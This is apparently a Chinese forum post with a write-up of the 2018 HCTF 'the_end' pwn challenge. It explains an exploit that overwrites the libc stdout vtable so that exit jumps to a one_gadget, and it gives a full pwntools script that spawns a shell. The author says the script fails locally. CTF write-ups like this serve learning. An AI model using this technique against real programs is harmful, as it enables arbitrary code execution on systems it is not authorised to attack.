2018 HCTF the_end (pwn io基础题)
一道基础的io pwn首先我们可以得到libc的基址,其次程序可以让我们往任意地址写入5字节,有一种思路就是程序调用exit 后会遍历 _IO_list_all,调用 _IO_2_1_stdout_ 下的vatable中_setbuf 函数.程序调用 exit 后,会遍历 _IO_list_all ,调用 _IO_2_1_stdout_ 下的 vatable 中 _setbuf 函数.(by ctf-wiki)
exp如下:
from pwn import *
context.log_level="debug"
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
p = process('the_end')
sleep_ad = p.recvuntil(', good luck',drop=True).split(' ')[-1]
libc_base = long(sleep_ad,16) - libc.symbols['sleep']
one_gadget = libc_base + 0xf02a4
vtables = libc_base + 0x3C56F8
fake_vtable = libc_base + 0x3c5588
target_addr = libc_base + 0x3c55e0
print 'libc_base: ',hex(libc_base)
print 'one_gadget:',hex(one_gadget)
print 'exit_addr:',hex(libc_base + libc.symbols['exit'])
# gdb.attach(p)
for i in range(2):
p.send(p64(vtables+i))
p.send(p64(fake_vtable))
pause()
for i in range(3):
p.send(p64(target_addr+i))
p.send(p64(one_gadget))
p.sendline("exec /bin/sh 1>&0")
p.interactive()
这里,我们修改了位于libc的数据段中的vtable地址,从而指向了一个可写区域,并且在该地址+0x58中存储了一个跟one_gadget地址相差不到3字节的地址.因此,在调用exit的时候会跳到我们的one_gadget.
本地虽然跑不通,但是根据调试可以看到程序已经执行到了one_gadget的位置.
至于为什么不直接修改原vtable的_setbuf指针?是因为在libc 2.23中,没有写权限.
有学pwn的师傅可以一起讨论一下别的题目🐎?
或者有别的思路的师傅可以回复一下哈! java吗-- ctf-wiki有io_file方面的介绍
页:
[1]